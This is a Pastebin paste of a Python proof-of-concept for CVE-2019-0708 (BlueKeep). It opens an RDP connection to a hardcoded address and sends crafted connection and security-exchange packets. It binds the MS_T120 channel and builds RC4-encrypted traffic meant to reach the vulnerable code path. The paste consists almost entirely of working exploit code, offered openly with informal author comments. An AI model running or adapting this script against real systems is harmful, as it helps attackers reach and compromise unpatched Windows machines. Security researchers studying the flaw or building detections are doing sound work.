SHARE
TWEET

Untitled

a guest May 22nd, 2019 34 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #CVE-2019-0708
  2. #the most worst PoC for only hitting vulnerable path NOT DOS!!!!! by Mateusz Garncarek
  3. #https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/e78db616-689f-4b8a-8a99-525f7a433ee2
  4. #https://winprotocoldoc.blob.core.windows.net/productionwindowsarchives/MS-RDPBCGR/%5bMS-RDPBCGR%5d.pdf
  5.  
  6. import socket
  7. import sys
  8. import struct
  9. import hashlib
  10.  
  11.  
  12. def macData(macSaltKey, data):
  13.     """
  14.     @see: http://msdn.microsoft.com/en-us/library/cc241995.aspx
  15.     @param macSaltKey: {str} mac key
  16.     @param data: {str} data to sign
  17.     @return: {str} signature
  18.     """
  19.     sha1Digest = hashlib.sha1()
  20.     md5Digest = hashlib.md5()
  21.    
  22.     #encode length
  23.     dataLength = len(data)
  24.     dataLength = struct.pack('<I',dataLength)
  25.     b36 = b"\x36" * 40
  26.    
  27.    
  28.     sha1Digest.update(macSaltKey)
  29.     sha1Digest.update(b36)
  30.     sha1Digest.update(dataLength)
  31.     sha1Digest.update(data)
  32.    
  33.     sha1Sig = sha1Digest.digest()
  34.  
  35.     b5c = b"\x5c" * 48
  36.    
  37.     md5Digest.update(macSaltKey)
  38.     md5Digest.update(b5c)
  39.     md5Digest.update(sha1Sig)
  40.    
  41.     return md5Digest.digest()
  42.  
  43.  
  44. def crypt(key, data):
  45.     S = list(range(256))
  46.     j = 0
  47.  
  48.     for i in list(range(256)):
  49.         j = (j + S[i] + ord(key[i % len(key)])) % 256
  50.         S[i], S[j] = S[j], S[i]
  51.  
  52.     j = 0
  53.     y = 0
  54.     out = []
  55.  
  56.     for char in data:
  57.         j = (j + 1) % 256
  58.         y = (y + S[j]) % 256
  59.         S[j], S[y] = S[y], S[j]
  60.  
  61.        
  62.         out.append(chr(ord(char) ^ S[(S[j] + S[y]) % 256]))
  63.  
  64.     return ''.join(out)
  65.  
  66.  
  67. def SaltedHash(Secret, I,client_random,server_random):
  68.     md5 = hashlib.md5()
  69.     sha1 = hashlib.sha1()
  70.  
  71.  
  72.  
  73.     Secretb = bytearray()
  74.     Secretb.extend(map(ord, Secret))
  75.  
  76.  
  77.  
  78.     Ib = bytearray()
  79.     Ib.extend(map(ord, I))
  80.  
  81.     client_randomb = bytearray()
  82.     client_randomb.extend(map(ord, client_random))
  83.  
  84.    
  85.     server_randomb = bytearray()
  86.     server_randomb.extend(map(ord, server_random))
  87.    
  88.  
  89.     sha1.update(Ib+Secretb+client_randomb+server_randomb)
  90.     md5.update(Secretb+sha1.digest())
  91.     return md5.digest()
  92.  
  93.  
  94. def finalHash(key, client_random, server_random):
  95.     """
  96.     @summary: MD5(in0[:16] + in1[:32] + in2[:32])
  97.     @param key: in 16
  98.     @param random1: in 32
  99.     @param random2: in 32
  100.     @return MD5(in0[:16] + in1[:32] + in2[:32])
  101.     """
  102.     client_randomb = bytearray()
  103.     client_randomb.extend(map(ord, client_random))
  104.     server_randomb = bytearray()
  105.     server_randomb.extend(map(ord, server_random))
  106.     md5Digest = md5 = hashlib.md5()
  107.  
  108.    
  109.     md5Digest.update(key)
  110.     md5Digest.update(client_randomb)
  111.     md5Digest.update(server_randomb)
  112.     return md5Digest.digest()
  113.  
  114. #Hardcoded Client Info PDU
  115. packet_to_encrypt = b""
  116. packet_to_encrypt +=b"\x00\x00\x00\x00\x5B\x01\x01\x00\x00\x00\x08\x00\x08\x00\x00"
  117. packet_to_encrypt +=b"\x00\x00\x00\x00\x00\x74\x00\x65\x00\x73\x00\x74\x00\x00\x00"
  118. packet_to_encrypt +=b"\x74\x00\x65\x00\x73\x00\x74\x00\x00\x00\x00\x00\x00\x00\x02"
  119. packet_to_encrypt +=b"\x00\x02\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  120. packet_to_encrypt +=b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  121. packet_to_encrypt +=b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  122. packet_to_encrypt +=b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  123. packet_to_encrypt +=b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  124. packet_to_encrypt +=b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  125. packet_to_encrypt +=b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  126. packet_to_encrypt +=b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  127. packet_to_encrypt +=b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  128. packet_to_encrypt +=b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  129. packet_to_encrypt +=b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  130. packet_to_encrypt +=b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  131. packet_to_encrypt +=b"\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  132.  
  133.  
  134. client_random = b""
  135.  
  136. client_random += b"\xff\xee\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  137. client_random += b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff"
  138.  
  139.  
  140. host = '192.168.195.131'
  141. port = 3389
  142.  
  143.  
  144. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  145.  
  146.  
  147. s.connect((host, port))
  148.  
  149. received_data = ""
  150.  
  151. packet1 = b"\x03\x00\x00\x13\x0e\xe0\x00\x00\x00\x00\x00\x01\x00\x08\x00\x00\x00\x00\x00"
  152.  
  153.  
  154. s.send(packet1)
  155. received_data  = s.recv(10024)
  156.  
  157.  
  158. print("1st packet sent")
  159.  
  160. #Initial PDU with GCC Conference Create Request
  161. PDU = "\x03\x00\x01\xca\x02\xf0\x80\x7f\x65\x82\x01\xb2\x04\x01"
  162. PDU += "\x01\x04\x01\x01\x01\x01\xff\x30\x19\x02\x01\x22\x02\x01\x02\x02\x01\x00\x02"
  163. PDU += "\x01\x01\x02\x01\x00\x02\x01\x01\x02\x02\xff\xff\x02\x01\x02\x30\x19\x02\x01"
  164. PDU += "\x01\x02\x01\x01\x02\x01\x01\x02\x01\x01\x02\x01\x00\x02\x01\x01\x02\x02\x04"
  165. PDU += "\x20\x02\x01\x02\x30\x1c\x02\x02\xff\xff\x02\x02\xfc\x17\x02\x02\xff\xff\x02"
  166. PDU += "\x01\x01\x02\x01\x00\x02\x01\x01\x02\x02\xff\xff\x02\x01\x02\x04\x82\x01\x51"
  167. PDU += "\x00\x05\x00\x14\x7c\x00\x01\x81\x48\x00\x08\x00\x10\x00\x01\xc0\x00\x44\x75"
  168. PDU += "\x63\x61\x81\x3a\x01\xc0\xea\x00\x0b\x00\x08\x00\x80\x07\x38\x04\x01\xca\x03"
  169.  
  170. PDU += "\xaa\x15\x04\x00\x00\x63\x45\x00\x00\x44\x00\x45\x00\x53\x00\x4b\x00\x54\x00"
  171. PDU += "\x4f\x00\x50\x00\x2d\x00\x37\x00\x39\x00\x46\x00\x56\x00\x56\x00\x30\x00\x43"
  172. PDU += "\x00\x00\x00\x07\x00\x00\x00\x00\x00\x00\x00\x0c\x00\x00\x00\x00\x00\x00\x00"
  173. PDU += "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  174. PDU += "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  175. PDU += "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  176.  
  177. PDU += "\x00\x00\x00\x01\xca\x01\x00\x00\x00\x00\x00\x18\x00\x0f\x00\xaf\x07\x35\x00"
  178.  
  179. PDU += "\x65\x00\x37\x00\x37\x00\x63\x00\x33\x00\x39\x00\x35\x00\x2d\x00\x66\x00\x30"
  180. PDU += "\x00\x37\x00\x32\x00\x2d\x00\x34\x00\x63\x00\x37\x00\x36\x00\x2d\x00\x62\x00"
  181. PDU += "\x31\x00\x65\x00\x63\x00\x2d\x00\x66\x00\x36\x00\x32\x00\x66\x00\x65\x00\x37"
  182. PDU += "\x00\x33\x00\x00\x00\x07\x00\x00\x00\x00\x00\x58\x01\x00\x00\xc1\x00\x00\x00"
  183. PDU += "\x00\x00\x64\x00\x00\x00\x64\x00\x00\x00\x04\xc0\x0c\x00\x15\x00\x00\x00\x00"
  184. PDU += "\x00\x00\x00\x02\xc0\x0c\x00\x1b\x00\x00\x00\x00\x00\x00\x00\x03\xc0\x38\x00"
  185.  
  186.  
  187. #count of channels
  188. PDU += "\x06\x00\x00\x00"
  189.  
  190. #channels
  191. PDU += "rdpdr" + "\x00\x00\x00" + "\x00\x00\x80\x80"
  192. PDU += "rdpsnd"+"\x00\x00" + "\x00\x00\x00\xc0"
  193. PDU += "cliprdr"+ "\x00"+ "\x00\x00\xa0\xc0"
  194. PDU += "AAAAAAA" + "\x00" + "\x00\x00\x00\x80"
  195. PDU += "MS_T120" + "\x00" + "\x00\x00\x00\x80"
  196. PDU += "drdynvc"  + "\x00"+ "\x00\x00\x80\xc0"
  197.  
  198.  
  199.  
  200. length_packet = len(PDU)
  201. print(length_packet)
  202.  
  203. #stupid calculating length for ASN.1 xD
  204. ber = length_packet-12
  205. ber2  = length_packet-109
  206. ber3  =  length_packet-118
  207. ber4  =  length_packet-132
  208. ber5 =    length_packet-390
  209.  
  210.  
  211.  
  212. length_packetb = struct.pack(">h", length_packet)
  213.  
  214. berb = length_packet = struct.pack(">h", ber)
  215. ber2b  = length_packet = struct.pack(">h", ber2)
  216. ber3b  =  length_packet = struct.pack(">h", ber3)
  217. ber4b  = length_packet = struct.pack(">h", ber4)
  218. ber5b =   length_packet = struct.pack(">h", ber5)
  219.  
  220.  
  221. #even more worse calculating length for ASN.1 xD
  222. PDU_b = bytearray()
  223. PDU_b.extend(map(ord, PDU))
  224.  
  225. PDU_b[2] = length_packetb[0]
  226. PDU_b[3] = length_packetb[1]
  227.  
  228. PDU_b[10] = berb[0]
  229. PDU_b[11] = berb[1]
  230.  
  231.  
  232. PDU_b[107] = ber2b[0]
  233. PDU_b[108] = ber2b[1]
  234. #hardcoded high part of length xDDDDDDDDd
  235. PDU_b[116] = 0x81
  236. PDU_b[117] = ber3b[1]
  237. #hardcoded high part of length xDDDDDDDDd
  238. PDU_b[130] = 0x81
  239. PDU_b[131] = ber4b[1]
  240. PDU_b[392] = ber5b[1]
  241.  
  242.  
  243. s.send(PDU_b)
  244. received_data = s.recv(1024)
  245.  
  246. #more hardcoded things xDDDDDDDDd
  247. server_random = received_data[121:153]
  248. modulus = received_data[189:253]
  249. public_exponent =  received_data[185:189]
  250.  
  251.  
  252.  
  253. #print(modulus)
  254.  
  255.  
  256. print("Initial PDU sent")
  257.  
  258.  
  259.  
  260. #modulus_b = bytearray()
  261. #modulus_b.extend(map(ord, modulus))
  262.  
  263.  
  264. #Obtaining things for RSA
  265. modulus = int.from_bytes(modulus, byteorder='little')
  266. public_exponent = int.from_bytes(public_exponent, byteorder='little')
  267. client_random = int.from_bytes(client_random, byteorder='little')
  268.  
  269.  
  270.  
  271. #Encrypting client radom
  272.  
  273. encrypted_client_random = pow(client_random,public_exponent,modulus )
  274. encrypted_client_random  = encrypted_client_random.to_bytes(64, byteorder='little')
  275.  
  276.  
  277. ####Begin of connecting virtual channels, it's also hardcoded xD
  278. packet3 = b"\x03\x00\x00\x0c\x02\xf0\x80\x04\x01\x00\x01\x00"
  279. s.send(packet3)
  280. print("3rd packet sent")
  281.  
  282.  
  283. packet4 = b"\x03\x00\x00\x08\x02\xf0\x80\x28"
  284. s.send(packet4)
  285. received_data  = s.recv(1024)
  286. print("4th packet sent")
  287.  
  288.  
  289. packet5 = b"\x03\x00\x00\x0c\x02\xf0\x80\x38\x00\x08\x03\xf1"
  290. s.send(packet5)
  291. received_data  = s.recv(1024)
  292. print("5th packet sent")
  293.  
  294.  
  295. packet6 = b"\x03\x00\x00\x0c\x02\xf0\x80\x38\x00\x08\x03\xeb"
  296. s.send(packet6)
  297. received_data  = s.recv(1024)
  298. print("6th packet sent")
  299.  
  300.  
  301. packet7 = b"\x03\x00\x00\x0c\x02\xf0\x80\x38\x00\x08\x03\xec"
  302. s.send(packet7)
  303. received_data  = s.recv(1024)
  304.  
  305.  
  306.  
  307. packet8 = b"\x03\x00\x00\x0c\x02\xf0\x80\x38\x00\x08\x03\xed"
  308. s.send(packet8)
  309. received_data  = s.recv(1024)
  310.  
  311.  
  312. packet9 = b"\x03\x00\x00\x0c\x02\xf0\x80\x38\x00\x08\x03\xee"
  313. s.send(packet9)
  314. received_data  = s.recv(1024)
  315.  
  316.  
  317. packet10 = b"\x03\x00\x00\x0c\x02\xf0\x80\x38\x00\x08\x03\xef"
  318. s.send(packet10)
  319. received_data  = s.recv(1024)
  320.  
  321.  
  322.  
  323. packet11= b"\x03\x00\x00\x0c\x02\xf0\x80\x38\x00\x08\x03\xf0"
  324. s.send(packet11)
  325. received_data  = s.recv(1024)
  326. ###########End of connecting virtual channels
  327.  
  328.  
  329. #Client Security Exchange PDU
  330.  
  331. PDU_Security_Exchange = b"\x03\x00\x00\x5e\x02\xf0\x80\x64\x00\x08\x03\xeb\x70\x50\x01\x02\x00\x00\x48\x00\x00\x00"
  332. PDU_Security_Exchange += encrypted_client_random
  333. PDU_Security_Exchange  += b"\x00\x00\x00\x00\x00\x00\x00\x00"
  334.  
  335.  
  336.  
  337.  
  338.  
  339. client_random  = client_random.to_bytes(32, byteorder='little')
  340. client_random = "".join(map(chr, client_random))
  341. server_random = "".join(map(chr, server_random))
  342.  
  343. #Calculating hashes and things for RC4 encryption it's only done for 128BIT RC4
  344. PreMasterSecret = client_random[:24] + server_random[:24]
  345. MasterSecret = SaltedHash(PreMasterSecret,"A",client_random,server_random) +  SaltedHash(PreMasterSecret,"BB",client_random,server_random) + SaltedHash(PreMasterSecret,"CCC",client_random,server_random)
  346. MasterSecret = "".join(map(chr, MasterSecret))
  347. SessionKeyBlob = SaltedHash(MasterSecret,"X",client_random,server_random) +  SaltedHash(MasterSecret,"YY",client_random,server_random) + SaltedHash(MasterSecret,"ZZZ",client_random,server_random)
  348. FinalClientEncryptKey128 = SessionKeyBlob[32:48]
  349. FinalClientEncryptKey128 = finalHash(FinalClientEncryptKey128,client_random,server_random)
  350.  
  351. print(':'.join(hex(x)[2:] for x in FinalClientEncryptKey128))
  352.  
  353.  
  354. MACKey128 = SessionKeyBlob[:16]
  355.  
  356. #print(':'.join(hex(x)[2:] for x in MACKey128))
  357.  
  358. FinalClientEncryptKey128 = "".join(map(chr, FinalClientEncryptKey128))
  359. FinalMac128 = macData(MACKey128, packet_to_encrypt)[:8]
  360. packet_to_encrypt = "".join(map(chr, packet_to_encrypt))
  361. encrypted_packet = crypt(FinalClientEncryptKey128,packet_to_encrypt)
  362.  
  363.  
  364. encrypted_packetb = bytearray()
  365. encrypted_packetb.extend(map(ord, encrypted_packet))
  366.  
  367. #print(':'.join(hex(ord(x))[2:] for x in encrypted_packet))
  368.  
  369.  
  370.  
  371. #Client Info PDU together with #Client Security Exchange PDU
  372. Client_Info_PDU =  b""
  373. Client_Info_PDU += PDU_Security_Exchange
  374. Client_Info_PDU += b"\x03\x00\x01\x05\x02\xf0\x80\x64\x00\x03\x03\xeb\x70\x80\xf6\x48\x00\x00\x00"
  375. Client_Info_PDU += FinalMac128
  376. Client_Info_PDU += encrypted_packetb
  377.  
  378.  
  379. s.send(Client_Info_PDU)
  380. received_data  = s.recv(1024)
  381. print("Last packet sent")
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top